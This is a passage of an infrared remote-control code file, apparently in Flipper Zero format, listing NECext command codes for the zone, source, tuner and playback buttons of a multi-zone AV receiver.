-address: 7F 01 00 00 -command: 69 00 00 00 -# -name: NETUSB:_MZ_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 69 00 00 00 -# -name: OPERATION_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6A 00 00 00 -# -name: DOCK:_MZ_REW -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6A 00 00 00 -# -name: NETUSB:_MZ_NRADIO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6A 00 00 00 -# -name: OPERATION_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6B 00 00 00 -# -name: DOCK:_MZ_FF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6B 00 00 00 -# -name: NETUSB:_MZ_USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6B 00 00 00 -# -name: OPERATION_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6C 00 00 00 -# -name: DOCK:_MZ_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6C 00 00 00 -# -name: HDRADIO:_MZ_PROG- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6C 00 00 00 -# -name: NETUSB:_MZ_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6C 00 00 00 -# -name: OPERATION_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6D 00 00 00 -# -name: DOCK:_MZ_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6D 00 00 00 -# -name: HDRADIO:_MZPROG+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6D 00 00 00 -# -name: NETUSB:_MZ_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6D 00 00 00 -# -name: OPERATION_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 6E 00 00 00 -# -name: SRCE:_Z2_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 71 00 00 00 -# -name: Z2_SOURCE:_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 71 00 00 00 -# -name: Z2_SOURCE:_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 71 00 00 00 -# -name: SRCE:_Z2_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 72 00 00 00 -# -name: Z2_SOURCE:_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 72 00 00 00 -# -name: Z2_SOURCE:_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 72 00 00 00 -# -name: SRCE:_Z2_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 73 00 00 00 -# -name: Z2_SOURCE:_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 73 00 00 00 -# -name: SRCE:_Z2_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 74 00 00 00 -# -name: Z2_SOURCE:_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 74 00 00 00 -# -name: Z2_SOURCE:_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 74 00 00 00 -# -name: SRCE:_Z2_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 75 00 00 00 -# -name: Z2_SOURCE:_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 75 00 00 00 -# -name: SRCE:_Z2_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 76 00 00 00 -# -name: Z2_SOURCE:_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 76 00 00 00 -# -name: Z2_SOURCE:_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 76 00 00 00 -# -name: SRCE:_Z2_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 77 00 00 00 -# -name: Z2_SOURCE:_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 77 00 00 00 -# -name: SRCE:_Z2_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 78 00 00 00 -# -name: Z2_SOURCE:_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 78 00 00 00 -# -name: Z2_SOURCE:_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 78 00 00 00 -# -name: SRCE:_Z2_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 79 00 00 00 -# -name: Z2_SOURCE:_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 79 00 00 00 -# -name: Z2_SOURCE:_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 79 00 00 00 -# -name: SRCE:_Z2_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7A 00 00 00 -# -name: Z2_SOURCE:_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7A 00 00 00 -# -name: Z2_SOURCE:_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7A 00 00 00 -# -name: TUNER:_Z2_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7C 00 00 00 -# -name: XM:_Z2_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7C 00 00 00 -# -name: Z2_SOURCE:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7C 00 00 00 -# -name: Z2_SOURCE:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7C 00 00 00 -# -name: TUNER:_Z2_BAND -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7D 00 00 00 -# -name: XM:_Z2_TITLE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7D 00 00 00 -# -name: DOCK:_Z2_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7E 00 00 00 -# -name: NETUSB:_Z2_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7E 00 00 00 -# -name: TUNER:_Z2_SRCHM -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7E 00 00 00 -# -name: XM:_Z2_SRCH_MODE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7E 00 00 00 -# -name: SRCE:_Z2_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 7F 00 00 00 -# -name: SRCE:_Z2_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 80 00 00 00 -# -name: SRCE:_Z2_CURS_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 81 00 00 00 -# -name: SRCE:_Z2_CURS_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 82 00 00 00 -# -name: Z3_SOURCE:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 82 00 00 00 -# -name: SRCE:_Z2_CURS_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 83 00 00 00 -# -name: SRCE:_Z2_CURS_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 84 00 00 00 -# -name: SRCE:_Z2_CURS_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 85 00 00 00 -# -name: NETUSB:_Z2_PC/MC -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 86 00 00 00 -# -name: DOCK:_Z2_PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 87 00 00 00 -# -name: Z2_OPERATION_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 87 00 00 00 -# -name: Z2_OPERATION_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 87 00 00 00 -# -name: DOCK:_Z2_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 88 00 00 00 -# -name: NETUSB:_Z2_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 88 00 00 00 -# -name: Z2_OPERATION_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 88 00 00 00 -# -name: Z2_OPERATION_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 88 00 00 00 -# -name: DOCK:_Z2_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 89 00 00 00 -# -name: NETUSB:_Z2_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 89 00 00 00 -# -name: Z2_OPERATION_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 89 00 00 00 -# -name: Z2_OPERATION_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 89 00 00 00 -# -name: DOCK:_Z2_REW -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8A 00 00 00 -# -name: NETUSB:_Z2_NRADIO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8A 00 00 00 -# -name: Z2_OPERATION_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8A 00 00 00 -# -name: Z2_OPERATION_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8A 00 00 00 -# -name: DOCK:_Z2_FF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8B 00 00 00 -# -name: NETUSB:_Z2_USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8B 00 00 00 -# -name: Z2_OPERATION_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8B 00 00 00 -# -name: Z2_OPERATION_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8B 00 00 00 -# -name: DOCK:_Z2_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8C 00 00 00 -# -name: HDRADIO:_Z2_PROG_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8C 00 00 00 -# -name: NETUSB:_Z2_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8C 00 00 00 -# -name: Z2_OPERATION_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8C 00 00 00 -# -name: Z2_OPERATION_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8C 00 00 00 -# -name: DOCK:_Z2_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8D 00 00 00 -# -name: HDRADIO:_Z2_PROG+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8D 00 00 00 -# -name: NETUSB:_Z2_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8D 00 00 00 -# -name: Z2_OPERATION_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8D 00 00 00 -# -name: Z2_OPERATION_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8D 00 00 00 -# -name: Z2_OPERATION_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8E 00 00 00 -# -name: Z2_OPERATION_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 8E 00 00 00 -# -name: SRCE:_Z3_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 91 00 00 00 -# -name: Z3_SOURCE:_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 91 00 00 00 -# -name: Z3_SOURCE:_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 91 00 00 00 -# -name: SRCE:_Z3_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 92 00 00 00 -# -name: Z3_SOURCE:_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 92 00 00 00 -# -name: Z3_SOURCE:_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 92 00 00 00 -# -name: SRCE:_Z3_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 93 00 00 00 -# -name: Z3_SOURCE:_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 93 00 00 00 -# -name: Z3_SOURCE:_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 93 00 00 00 -# -name: SRCE:_Z3_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 94 00 00 00 -# -name: Z3_SOURCE:_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 94 00 00 00 -# -name: Z3_SOURCE:_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 94 00 00 00 -# -name: SRCE:_Z3_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 95 00 00 00 -# -name: Z3_SOURCE:_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 95 00 00 00 -# -name: Z3_SOURCE:_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 95 00 00 00 -# -name: SRCE:_Z3_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 96 00 00 00 -# -name: Z3_SOURCE:_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 96 00 00 00 -# -name: Z3_SOURCE:_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 96 00 00 00 -# -name: SRCE:_Z3_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 97 00 00 00 -# -name: Z3_SOURCE:_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 97 00 00 00 -# -name: Z3_SOURCE:_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 97 00 00 00 -# -name: SRCE:_Z3_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 98 00 00 00 -# -name: Z3_SOURCE:_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 98 00 00 00 -# -name: Z3_SOURCE:_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 98 00 00 00 -# -name: SRCE:_Z3_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 99 00 00 00 -# -name: Z3_SOURCE:_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 99 00 00 00 -# -name: Z3_SOURCE:_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 99 00 00 00 -# -name: SRCE:_Z3_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9A 00 00 00 -# -name: Z3_SOURCE:_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9A 00 00 00 -# -name: Z3_SOURCE:_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9A 00 00 00 -# -name: TUNER:_Z3_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9C 00 00 00 -# -name: XM:_Z3_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9C 00 00 00 -# -name: Z3:_SOURCE_ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9C 00 00 00 -# -name: Z3_SOURCE:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9C 00 00 00 -# -name: Z3:_SOURCE_ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9C 00 00 00 -# -name: TUNER:_Z3_BAND -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9D 00 00 00 -# -name: XM:_Z3_TITLE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9D 00 00 00 -# -name: Z3_SOURCE:_MODE_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9D 00 00 00 -# -name: Z3_SOURCE:_MODE_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9D 00 00 00 -# -name: DOCK:_Z3_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9E 00 00 00 -# -name: NETUSB:_Z3_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9E 00 00 00 -# -name: TUNER:_Z3_SRCHM -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9E 00 00 00 -# -name: XM:_Z3_SRCH_MODE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9E 00 00 00 -# -name: Z3_SOURCE:_MODE_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9E 00 00 00 -# -name: Z3_SOURCE:_MODE_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9E 00 00 00 -# -name: SRCE:_Z3_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9F 00 00 00 -# -name: Z3_SOURCE:_MODE_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9F 00 00 00 -# -name: Z3_SOURCE:_MODE_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 9F 00 00 00 -# -name: SRCE:_Z3_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A0 00 00 00 -# -name: Z3_SOURCE:_MODE_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A0 00 00 00 -# -name: Z3_SOURCE:_MODE_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A0 00 00 00 -# -name: SRCE:_Z3_CURS_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A1 00 00 00 -# -name: Z3_SOURCE:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A1 00 00 00 -# -name: Z3_SOURCE:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A1 00 00 00 -# -name: SRCE:_Z3_CURS_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A2 00 00 00 -# -name: Z3_SOURCE:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A2 00 00 00 -# -name: SRCE:_Z3_CURS_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A3 00 00 00 -# -name: Z3_SOURCE:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A3 00 00 00 -# -name: SRCE:_Z3_CURS_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A4 00 00 00 -# -name: Z3_SOURCE:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A4 00 00 00 -# -name: Z3_SOURCE:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A4 00 00 00 -# -name: SRCE:_Z3_CURS_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A5 00 00 00 -# -name: Z3_SOURCE:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A5 00 00 00 -# -name: Z3_SOURCE:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A5 00 00 00 -# -name: NETUSB:_Z3_PC/MC -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A6 00 00 00 -# -name: DOCK:_Z3_PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A7 00 00 00 -# -name: Z3_SOURCE:_OP_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A7 00 00 00 -# -name: Z3_SOURCE:_OP_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A7 00 00 00 -# -name: DOCK:_Z3_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A8 00 00 00 -# -name: NETUSB:_Z3_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A8 00 00 00 -# -name: Z3_SOURCE:_OP_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A8 00 00 00 -# -name: Z3_SOURCE:_OP_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A8 00 00 00 -# -name: DOCK:_Z3_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A9 00 00 00 -# -name: NETUSB:_Z3_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A9 00 00 00 -# -name: Z3_SOURCE:_OP_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A9 00 00 00 -# -name: Z3_SOURCE:_OP_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: A9 00 00 00 -# -name: DOCK:_Z3_REW -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AA 00 00 00 -# -name: NETUSB:_Z3_NRADIO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AA 00 00 00 -# -name: Z3_SOURCE:_OP_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AA 00 00 00 -# -name: Z3_SOURCE:_OP_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AA 00 00 00 -# -name: DOCK:_Z3_FF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AB 00 00 00 -# -name: NETUSB:_Z3_USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AB 00 00 00 -# -name: Z3_SOURCE:_OP_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AB 00 00 00 -# -name: Z3_SOURCE:_OP_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AB 00 00 00 -# -name: DOCK:_Z3_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AC 00 00 00 -# -name: HDRADIO:_Z3_PROG_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AC 00 00 00 -# -name: NETUSB:_Z3_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AC 00 00 00 -# -name: Z3_SOURCE:_OP_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AC 00 00 00 -# -name: Z3_SOURCE:_OP_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AC 00 00 00 -# -name: DOCK:_Z3_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AD 00 00 00 -# -name: HDRADIO:_Z3_PROG+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AD 00 00 00 -# -name: NETUSB:_Z3_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AD 00 00 00 -# -name: Z3_SOURCE:_OP_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AD 00 00 00 -# -name: Z3_SOURCE:_OP_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AD 00 00 00 -# -name: Z3_SOURCE:_OP_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AE 00 00 00 -# -name: Z3_SOURCE:_OP_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: AE 00 00 00 -# -name: SRCE:_Z4_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B1 00 00 00 -# -name: Z4_SOURCE:_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B1 00 00 00 -# -name: Z4_SOURCE:_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B1 00 00 00 -# -name: SRCE:_Z4_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B2 00 00 00 -# -name: Z4_SOURCE:_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B2 00 00 00 -# -name: Z4_SOURCE:_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B2 00 00 00 -# -name: SRCE:_Z4_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B3 00 00 00 -# -name: Z4_SOURCE:_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B3 00 00 00 -# -name: Z4_SOURCE:_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B3 00 00 00 -# -name: SRCE:_Z4_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B4 00 00 00 -# -name: Z4_SOURCE:_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B4 00 00 00 -# -name: Z4_SOURCE:_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B4 00 00 00 -# -name: SRCE:_Z4_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B5 00 00 00 -# -name: Z4_SOURCE:_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B5 00 00 00 -# -name: Z4_SOURCE:_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B5 00 00 00 -# -name: SRCE:_Z4_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B6 00 00 00 -# -name: Z4_SOURCE:_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B6 00 00 00 -# -name: Z4_SOURCE:_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B6 00 00 00 -# -name: SRCE:_Z4_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B7 00 00 00 -# -name: Z4_SOURCE:_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B7 00 00 00 -# -name: Z4_SOURCE:_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B7 00 00 00 -# -name: SRCE:_Z4_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B8 00 00 00 -# -name: Z4_SOURCE:_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B8 00 00 00 -# -name: Z4_SOURCE:_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B8 00 00 00 -# -name: SRCE:_Z4_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B9 00 00 00 -# -name: Z4_SOURCE:_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B9 00 00 00 -# -name: Z4_SOURCE:_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: B9 00 00 00 -# -name: SRCE:_Z4_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BA 00 00 00 -# -name: Z4_SOURCE:_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BA 00 00 00 -# -name: Z4_SOURCE:_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BA 00 00 00 -# -name: TUNER:_Z4_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BC 00 00 00 -# -name: XM:_Z4_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BC 00 00 00 -# -name: Z4_SOURCE:_ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BC 00 00 00 -# -name: Z4:_SOURCE_ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BC 00 00 00 -# -name: Z4:_SOURCE_ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BC 00 00 00 -# -name: TUNER:_Z4_BAND -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BD 00 00 00 -# -name: XM:_Z4_TITLE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BD 00 00 00 -# -name: Z4_SOURCE:_MODE_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BD 00 00 00 -# -name: Z4_SOURCE:_MODE_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BD 00 00 00 -# -name: DOCK:_Z4_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BE 00 00 00 -# -name: NETUSB:_Z4_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BE 00 00 00 -# -name: TUNER:_Z4_SRCHM -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BE 00 00 00 -# -name: XM:_Z4_SRCH_MODE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BE 00 00 00 -# -name: Z4_SOURCE:_MODE_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BE 00 00 00 -# -name: Z4_SOURCE:_MODE_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BE 00 00 00 -# -name: SRCE:_Z4_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BF 00 00 00 -# -name: Z4_SOURCE:_MODE_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BF 00 00 00 -# -name: Z4_SOURCE:_MODE_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: BF 00 00 00 -# -name: SRCE:_Z4_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C0 00 00 00 -# -name: Z4_SOURCE:_MODE_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C0 00 00 00 -# -name: Z4_SOURCE:_MODE_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C0 00 00 00 -# -name: SRCE:_Z4_CURS_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C1 00 00 00 -# -name: Z4_SOURCE:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C1 00 00 00 -# -name: Z4_SOURCE:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C1 00 00 00 -# -name: SRCE:_Z4_CURS_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C2 00 00 00 -# -name: Z4_SOURCE:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C2 00 00 00 -# -name: Z4_SOURCE:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C2 00 00 00 -# -name: SRCE:_Z4_CURS_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C3 00 00 00 -# -name: Z4_SOURCE:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C3 00 00 00 -# -name: Z4_SOURCE:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C3 00 00 00 -# -name: SRCE:_Z4_CURS_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C4 00 00 00 -# -name: Z4_SOURCE:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C4 00 00 00 -# -name: Z4_SOURCE:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C4 00 00 00 -# -name: SRCE:_Z4_CURS_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C5 00 00 00 -# -name: Z4_SOURCE:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C5 00 00 00 -# -name: Z4_SOURCE:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C5 00 00 00 -# -name: NETUSB:_Z4_PC/MC -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C6 00 00 00 -# -name: DOCK:_Z4_PAUSE -type: parsed 